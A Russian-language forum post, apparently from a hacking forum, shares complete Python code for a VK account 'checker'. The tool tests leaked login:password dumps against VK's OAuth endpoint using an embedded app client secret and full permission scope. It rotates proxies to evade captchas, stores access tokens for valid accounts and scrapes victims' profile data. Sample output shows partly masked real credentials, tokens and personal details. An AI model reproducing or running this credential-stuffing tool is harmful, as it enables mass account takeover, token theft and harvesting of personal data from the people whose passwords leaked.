Привет.
Продолжаю разгонять тему python для VK, и на этот раз я написал чекер данных входа в аккаунты (valid/not valid).
Знаю, что ниша подобного софта забита, но опять-таки, писал инструмент для себя, а сейчас делюсь им с тобой.
Принцип работы чекера:
Отправляем запрос на
значит, аккаунт валидный, да и еще мы получили токен для входа (! контакт может любезно предупредить об этом жертву).
Если ответ вида:
Нужна работа с прокси? Есть самописное решение. Также пишите свои идеи и опыт по поводу работы с прокси(готовые модули, библиотеки).
Принцип работы модуля proxy.py:
Получаем список прокси из файла. Если файл с сырыми данными(практически любого вида, так как разбирать будем по регулярке), то формируем структуру ['ip':'port'], cохраняем его для дальнейшего доступа. Либо открываем уже собранный файл json.
Далее забираем proxy из списка. Если прокси себя израсходовал берем новый из списка. При опустошении листа прокси, мы его обновляем(получаем исходный). И так заданное количество раз (проходим по списку прокси n раз).
Теперь перейдем к основному - модулю чекера. В этот раз он получился сумбурным, и, наверняка, подлежит редакции. Все обновления, если они последуют, я буду прикреплять в комментариях.
Особо внимательные заметили event и EventLog. Это мой модуль логгирования, код с комментариями ниже:
Пример запуска:
Пример вывода:
Продолжаю разгонять тему python для VK, и на этот раз я написал чекер данных входа в аккаунты (valid/not valid).
Знаю, что ниша подобного софта забита, но опять-таки, писал инструмент для себя, а сейчас делюсь им с тобой.
Принцип работы чекера:
Отправляем запрос на
https://oauth.vk.com/token? с данными логин-пароль, если ответ пришел такого вида:{"access_token":token,"expires_in":0,"user_id":id},значит, аккаунт валидный, да и еще мы получили токен для входа (! контакт может любезно предупредить об этом жертву).
Если ответ вида:
{'error': some_error}, то либо пользователь невалид, либо нужна подтвердить вход капчей, значит меняем прокси.Нужна работа с прокси? Есть самописное решение. Также пишите свои идеи и опыт по поводу работы с прокси(готовые модули, библиотеки).
Принцип работы модуля proxy.py:
Получаем список прокси из файла. Если файл с сырыми данными(практически любого вида, так как разбирать будем по регулярке), то формируем структуру ['ip':'port'], cохраняем его для дальнейшего доступа. Либо открываем уже собранный файл json.
Далее забираем proxy из списка. Если прокси себя израсходовал берем новый из списка. При опустошении листа прокси, мы его обновляем(получаем исходный). И так заданное количество раз (проходим по списку прокси n раз).
Код:
import json
import re
from random import randint
# Класс для работы с прокси
class Proxy:
# функция инициализации, на вход имя файла со списком, режим открытия (сырые данные, json), количество перезапусков
# режим получения следующего прокси (рандомный, по порядку)
def __init__(self, filename, open_mode='raw', relaunch_limit=2, next_mode='rand'):
# открываем список прокси
self.proxy_list = self.get_proxy_from_file(filename, open_mode)
# если были сырые данные, то сохраняем в файл json
if open_mode != 'json':
self.save_proxy_list(self.proxy_list, f'{filename}.json')
# Создаем резервный лист функцией сopy()
self.reserve_list = self.proxy_list.copy()
# Объявляем переменную текущего прокси
self.current_proxy = None
# указываем режим получения следующего прокси
self.next_mode = next_mode
# указываем количество проходов по списку
self.relaunch_limit = relaunch_limit
# обнуляем текущий шаг
self.relaunch_counter = 0
# получаем новый прокси, указываем причину получения - первый запуск
self.get_next_proxy(reason='first launch')
# функция для открытия списка из файла
@staticmethod
def get_proxy_from_file(filename, open_mode):
# объявляем регулярные выражения
# любое число от 0 до 255
re_part_ip = r'(25[0-5]|2[0-4]\d|[01]?\d\d?)'
# 4 числа 0-255 разделенные точкой
re_ip = fr'{re_part_ip}\.{re_part_ip}\.{re_part_ip}\.{re_part_ip}'
# порт - любое число от 2 до 6 знаков
re_port = r'\d{2,6}'
# разделение между ip и port - любые пробельные символы или :
re_split = r'[\s:]*'
# конечный вид нашего proxy с дополнительным именованием нужных групп, для простоты обращения
re_proxy = f'(?P<ip>{re_ip}){re_split}(?P<port>{re_port})'
# открываем файл со списком
with open(filename, 'r') as proxy_file:
# если файл json
if open_mode == 'json':
# то загружаем в json структуру
proxy_list = json.load(proxy_file)
# иначе
else:
# читаем файл, делим по строкам
raw_proxy_list = proxy_file.read().split('\n')
# обнуляем список
proxy_list = []
# для каждой строки из файла
for line in raw_proxy_list:
# пробуем найти прокси
proxy = re.search(re_proxy, line)
# если нашли
if proxy:
# то добавляем в общий список, обращаемся по группе
proxy_list.append({'ip': proxy.group('ip'), 'port': proxy.group('port')})
# возвращаем все найденные прокси
return proxy_list
# функция по получению следующего прокси
def get_next_proxy(self, reason=''):
# Если список не пустой
if self.proxy_list:
# получаем номер следующего прокси (рандомный или первый элемент)
if self.next_mode == 'rand':
next_index = randint(0, len(self.proxy_list) - 1)
else:
next_index = 0
# забираем прокси из списка
proxy = self.proxy_list.pop(next_index)
# приводим его к виду '10.10.10.10:8080'
proxy = f"{proxy['ip']}:{proxy['port']}"
# задаем текущий прокси для работы с request (словарь с http и https)
self.current_proxy = {"http": f"http://{proxy}", "https": f"https://{proxy}"}
# выводим статистику на экран - сколько осталось: в текущем списке/в полном списке/учитывая кол-во повторов
# шаг прохода/всего шагов, причина смены, новый https прокси
print(f"Change ip [keep: {len(self.proxy_list)+1}/{len(self.reserve_list)}/"
f"{len(self.reserve_list)*(self.relaunch_limit+1)}]"
f"[step: {self.relaunch_counter+1}/{self.relaunch_limit+1}]. "
f"Reason {reason}. New proxy: {self.current_proxy['https']}")
# если список пустой
else:
# то обновляем его
self.update_list()
# функция обновления списка
def update_list(self):
# Если счетчик презагрузок дошел до максимального
if self.relaunch_counter == self.relaunch_limit:
# то бросаем исключение
raise GeneratorExit('Хватит менять прокси')
# копируем резервный список в текущий
self.proxy_list = self.reserve_list.copy()
# получаем новый прокси, указываем причину - обновление списка
self.get_next_proxy(reason='update list')
# увеличиваем счетчик перезагрузок
self.relaunch_counter += 1
# функция сохранения листа прокси для дальнейшего его открытия в режиме json
@staticmethod
def save_proxy_list(proxy_list, filename):
# открываем файловый поток в режиме записи
with open(filename, 'w') as proxy_file:
# делаем дамп в файл
json.dump(proxy_list, proxy_file)Теперь перейдем к основному - модулю чекера. В этот раз он получился сумбурным, и, наверняка, подлежит редакции. Все обновления, если они последуют, я буду прикреплять в комментариях.
Код:
import argparse
import json
from requests import Session
from event import EventLog
from proxy import Proxy
# Класс чекера дампа логинов-паролей VK
class CheckVkDump:
def __init__(self, dump_filename):
# подключаем свежеиспеченный модуль прокси
self.proxy = Proxy('proxy_list')
# открываем файл с логинами-паролями
self.dump_file = self.open_dump_file(dump_filename)
# обнуляем результирующие списки
self.results_all, self.results_data, self.results_good, self.errors = [], [], [], []
# функция открытия дампа с данными
@staticmethod
def open_dump_file(filename):
# открываем файл
with open(filename) as dump_file:
# возвращаем список строк
return dump_file.read().split('\n')
# основной механизм класса
def engine(self, dump, save_full_data=True):
# получаем количество строк (для отображения прогресса)
line_count = len(dump)
# для каждой строки
for count, line in enumerate(dump):
# выводим на экран информацию о прогрессе
event.add(event.progress(count, line_count, f'[{count}/{line_count}] (Найдено: {len(self.results_good)})'),
temporary=True, level='additional')
# пробуем получить данные
try:
# парсим линию
login_pass = self.parse_line(line)
# если данные получены
if login_pass:
# разделяем на логин и пароль
login, password = login_pass[0], login_pass[1]
# пробуем получить токен по этим данным
token = self.get_token_from_password(login, password)
# если нашли, то
if 'token' in token:
# запоминаем его
token = token['token']
# формируем структуру логин, пароль, токен
full_data = {'login': login, 'password': password, 'token': token}
# выводим на экран (не обязательно)
event.add(f'\n{full_data}')
# если указан режим сохранения полной информации
if save_full_data:
# получаем дополнительную информацию
data = self.get_data(token)
# если получили
if data:
# обновляем словарь
full_data.update(data)
# и записываем ее в список данных
self.results_data.append(full_data)
# сохраняем логин, пароль, токен в успешные запросы
self.results_good.append([login, password, token])
# сохраняем информацию в общий список (успех/не успех)
self.results_all.append([login, password, token])
# если ошибка,
except Exception as e:
# то записываем в список ошибок
self.errors.append(str(e))
# если кончились прокси
except GeneratorExit as e:
# добавляем в лог ошибку
event.add(str(e), 'error')
# выходим из цикла
break
# функция получения логина и пароля из строки
@staticmethod
def parse_line(line):
# пробуем разделить по ':', если получилось возвращаем 1 и 2 элементы
try:
parse_string = line.split(':')
return parse_string[0], parse_string[1]
except:
# при ошибке возвращаем None
return None
# функция получения токена по логину и паролю
def get_token_from_password(self, login, password):
# указываем AppID приложения (андроида)
client_id = 2274003
# его секретный ключ
client_secret = 'hHbZxrka2uZ6jB1inYsH'
# права - все
scope = "notify,photos,friends,audio,video,notes,pages,docs,status,questions,offers,wall,groups,messages," \
"notifications,stats,ads,offline"
# ссылку на авторизацию аккаунта в приложении
url = f"http://oauth.vk.com/token?client_id={client_id}&client_secret={client_secret}&grant_type=password&" \
f"username={login}&password={password}&scope={scope}"
# получаем ответ на запрос по url
answer = self.make_request(url)
# если в ответе есть токен
if 'access_token' in answer:
# то возвращаем его в структуре
return {'token': answer['access_token']}
# если нет токена
else:
# проверяем ошибочный ли запрос
if 'error' in answer:
# если нужна капча
if answer['error'] == 'need_captcha':
# меняем прокси по причине капчи
self.proxy.get_next_proxy(reason='captcha')
# повторяем запрос токена с новыми данными
return self.get_token_from_password(login, password)
# если ошибка не капча
else:
if 'error_type' in answer:
# возвращаем тип ошибки
return answer['error_type']
# если что-то иное, то отправляем ответ целиком
return answer
# функция отправки запроса
def make_request(self, url):
# обнуляем успешное состояние запроса и ответ
success = False
answer = None
# пока не успех
while not success:
# пробуем
try:
# создать сессию
s = Session()
# отправить запрос к урл с текущим прокси
response = s.get(url, proxies=self.proxy.current_proxy)
# прочитать ответ
answer = json.loads(response.content.decode('utf8'))
# указать успех
success = True
except Exception as e:
# при ошибке меняем прокси с указанием причины ошибки
self.proxy.get_next_proxy(reason=str(e))
# возвращаем ответ
return answer
# получение дополнительной информации
def get_data(self, token):
# формируем url запроса профильной информации по токену
url = f'https://api.vk.com/method/account.getProfileInfo?v=5.92&access_token={token}'
# отправляем запрос
data = self.make_request(url)
try:
# пробуем распарсить ответ
return self.parse_data(data)
except Exception as e:
# при ошибке возвращаем None
return None
# Парсинг дополнительной информации
def parse_data(self, data):
# обнуляем результат
result = {}
# если есть поле ответ
if 'response' in data:
# то переписываем данные
data = data['response']
# Получаем имя и фамилию
result['Имя'] = f"{self.get_param('first_name', data)} {self.get_param('last_name', data)}"
# получаем город
town = self.get_param('city', data)
if town:
# если нашел, то записываем
result['Город'] = self.get_param('title', town)
# получаем пол
sex_set = {1: 'Женский', 2: 'Мужской'}
sex = self.get_param('sex', data)
# если 1 или 2, значит женский или мужской
if sex in sex_set:
result['Пол'] = sex_set[sex]
else:
# иначе записываем сырой ответ
result['Пол'] = sex
# получаем дату рождения
result['Дата рождения'] = self.get_param('bdate', data)
# и родной город
result['Родной город'] = self.get_param('home_town', data)
return result
# функция получения параметра из данных
@staticmethod
def get_param(param, data):
# если есть искомое поле в данных
if param in data:
# то возвращаем его
return data[param]
else:
# иначе None
return None
# функция сохранения всех данных
def save_results(self):
# для каждого результата - все, успешные, данные, ошибки
for log in [('check_results_all.json', self.results_all), ('check_results_good.json', self.results_good),
('check_results_data.json', self.results_data), ('check_errors.json', self.errors)]:
# если список не нулевой
if log[1]:
# сохраняем в файл
with open(log[0], 'w') as res_file:
json.dump(log[1], res_file, ensure_ascii=False)
# фунцкия получения статистики всех списков
def show_stat(self):
return {'All results': len(self.results_all), 'Good results': len(self.results_good),
'Data results': len(self.results_data), 'Errors': len(self.errors)}
# получаем имя файла с дампом
def arg_parse_parameters():
parser = argparse.ArgumentParser(description='VK cheker')
parser.add_argument('-p', '--path', action='store', type=str, default='')
args = parser.parse_args()
return args.path
# функция запускающая чекер
def main():
# объявляем глобально переменную event
global event
# Подключаем логгер для вывода информации на экран
event = EventLog()
# инициализируем чекер
check = CheckVkDump(arg_parse_parameters())
try:
# запускаем механизм сбора
check.engine(check.dump_file, save_full_data=True)
except Exception as e:
# в случае ошибки логгируем
event.add(str(e), level='error')
# сохраняем результаты работы чекера
check.save_results()
# выводим на экран статистику чекера
event.add(check.show_stat())
# останавливаем логгер
event.stop()
# сохраняем логи в файл
event.save_log()
# при запуске скрипта
if __name__ == '__main__':
# вызываем основную функцию
main()Особо внимательные заметили event и EventLog. Это мой модуль логгирования, код с комментариями ниже:
Код:
import json
import sys
import time
from datetime import datetime
try:
# пробуем импортировать модуль сolorama для цветного текста
from colorama import Fore, init
init()
COLOR_MODE = 'colorama'
except:
# если не получается, то используем "простое" раскрашивание
COLOR_MODE = 'simple'
# класс по сбору и отображению событий(логгер)
class EventLog:
# инициализация экземпляра, на вход: выводить события на экран, формат времени(время/дата/свой шаблон),
# добавлять "старт", "финиш", добавлять цвет, в каком режиме красить
def __init__(self, display=True, time_format='time', add_comments=True, add_color=True, color_mode=None):
# список событий
self.events = []
# выводить инфу на экран или нет
self.out_on_display = display
# определяем формат логгирования времени
if time_format == 'time':
self.format_time = '%H:%M:%S'
elif time_format == 'date':
self.format_time = '%d.%m.%y %H:%M:%S'
else:
self.format_time = time_format
# добавлять комментарии или нет
self.comments = add_comments
# добавлять цвет или нет
self.color = add_color
# режим цвета текста(если не задан, то определяется автоматически
self.color_mode = color_mode or COLOR_MODE
# создаем переменную старта программы
self.start_time = 0
# запускаем
self.launch()
def launch(self):
# обновляем время запуска
self.start_time = time.time()
# если комментарии включены
if self.comments:
# то добавляем событие "старт"
self.add('Программа запущена')
# функция остановки логгирования
def stop(self):
# высчитываем время работы программы
time_stop = time.time() - self.start_time
# округляем до целого значения, если меньше 1, то до первого ненулевого знака
time_stop = f'{time_stop:.1}' if time_stop < 1 else int(time_stop)
# если комментарии включены
if self.comments:
# добавляем события "стоп" и "время работы"
self.add('Программа завершена!')
self.add(f'Время выполнения {time_stop} секунд.', 'additional')
# функция добавления события - событие, цвет, временный вывод или нет
def add(self, event, level='normal', temporary=False):
# определяем время по заданному шаблону, при ошибке по шаблону "время"
try:
cur_time = str(datetime.now().strftime(self.format_time))
except:
cur_time = str(datetime.now().strftime('%H:%M:%S'))
# определяем структуру события - имя, время, уровень
event = {'event': event, 'time': cur_time, 'level': level}
# если нужно выводить инфо в терминал
if self.out_on_display:
# вызываем функцию для отображения события на экран
self.display(event, temporary=temporary)
# если событие не временное
if not temporary:
# то добавляем его в общий список
self.events.append(event)
# функция отображения события на экране
def display(self, event, display=None, temporary=False):
# преобразование уровня в цвет
def level_to_color(level):
level_set = {0: 'blue', 1: 'green', 2: 'yellow', 3: 'red'}
level_word_set = {'normal': 'blue', 'success': 'green', 'additional': 'yellow', 'error': 'red'}
# если уровень - число
if level in level_set:
# выбираем цвет из level_set
return level_set[level]
# если слово
elif level in level_word_set:
# выбираем из level_word_set
return level_word_set[level]
else:
# иначе стандартный цвет
return level_set[0]
# функция добавления цвета тексту
def get_color_string(string, color, color_mode):
# если простой режим
if color_mode == 'simple':
# определяем словарь цветов
color_set = {'red': '\033[91m', 'green': '\033[92m', 'yellow': '\033[93m', 'blue': '\033[94m'}
end = '\033[0m'
# и если цвет в словаре
if color in color_set:
# то красим
string = f"{color_set[color]}{string}{end}"
# если режим сolorama
elif COLOR_MODE == color_mode == 'colorama':
# определяем словарь цветов
colorama_set = {'red': Fore.RED, 'green': Fore.GREEN, 'yellow': Fore.YELLOW, 'blue': Fore.CYAN}
# если цвет в словаре
if color in colorama_set:
# красим
string = f'{colorama_set[color]}{string}'
# возвращаем полученную строку
return string
# если переносим символ \r в начало строки, если он есть в событии
if '\r' in event['event']:
event['event'] = event['event'].replace('\r', '')
additional = '\r'
else:
additional = ''
# формируем сообщение "[время]: событие"
text = f"{additional}[{event['time']}]: {event['event']}"
# если надо красить
if self.color:
# то красим (текст, уровень->цвет, режим)
text = get_color_string(text, level_to_color(event['level']), self.color_mode)
# если в функции явно не указано отображать событие или нет
if display is None:
# то получаем значение у экземпляра класса
display = self.out_on_display
# если отображать
if display:
# если временный текст
if temporary:
# то выводим временно
sys.stdout.write(text)
sys.stdout.flush()
else:
# иначе через print
print(text)
# возвращаем текст
return text
# функция сохранения событий в файл
def save_log(self, filename='events.json'):
# если список событий не пустой и задано имя файла
if self.events and filename:
# открываем файл
with open(filename, 'w', encoding='utf8') as event_log_file:
# если формат json
if 'json' in filename:
# записываем структурой
json.dump(self.events, event_log_file, ensure_ascii=False)
else:
# иначе записываем события построчно
for event in self.events:
event_log_file.write(f'{self.display(event, False)}\n')
# функция для отображения заполненности прогресс бара
@staticmethod
def progress(count, total, suffix=''):
# задаем длину
bar_len = 40
# получаем заполненность
filled_len = int(round(bar_len * count / float(total)))
# определяем проценты
percents = round(100.0 * count / float(total), 1)
# формируем прогресс бар
bar = '=' * filled_len + '-' * (bar_len - filled_len)
# возвращаем "текст [...] %"
return f'\r{suffix} [{bar}] {percents}%'Пример запуска:
python check_vk.py -p=/home/gh0stage/Загрузки/passvk/split/part_xdi/xabПример вывода:
[23:10:06]: Программа запущена
Change ip [keep: 14/14/42][step: 1/3]. Reason first launch. New proxy: https://157.230.32.132:8080
[23:10:06]: [0/3] (Найдено: 0) [----------------------------------------] 0.0%[23:10:09]:
{'login': '+79********4', 'password': '5********K', 'token': 'cfb****************************************dc05d27'}
[23:10:11]: [1/3] (Найдено: 1) [=============---------------------------] 33.3%
Change ip [keep: 13/14/42][step: 1/3]. Reason captcha. New proxy: https://31.209.108.246:47502
Change ip [keep: 12/14/42][step: 1/3]. Reason captcha. New proxy: https://159.192.100.97:8080
[23:10:34]: [2/3] (Найдено: 1) [===========================-------------] 66.7%[23:10:38]:
{'login': 'k**************x.ru', 'password': '******************', 'token': '5f77*******************************************************86g'}
[23:10:42]: {'All results': 3, 'Good results': 2, 'Data results': 2, 'Errors': 0}
[23:10:42]: Программа завершена!
[23:10:42]: Время выполнения 35 секунд.
Код:
[
{
"login": "+7********4",
"password": "5********K",
"token": "cf***********************************d27",
"Имя": "В******** ******н",
"Город": "Санкт-Петербург",
"Пол": "Мужской",
"Дата рождения": "*.*.****",
"Родной город": "*******"
},
{
"login": "**************x.ru",
"password": "************",
"token": "**************************",
"Имя": "****** *******в",
"Пол": "Мужской",
"Дата рождения": "*.*.19**",
"Родной город": ""
}
]
Последнее редактирование:
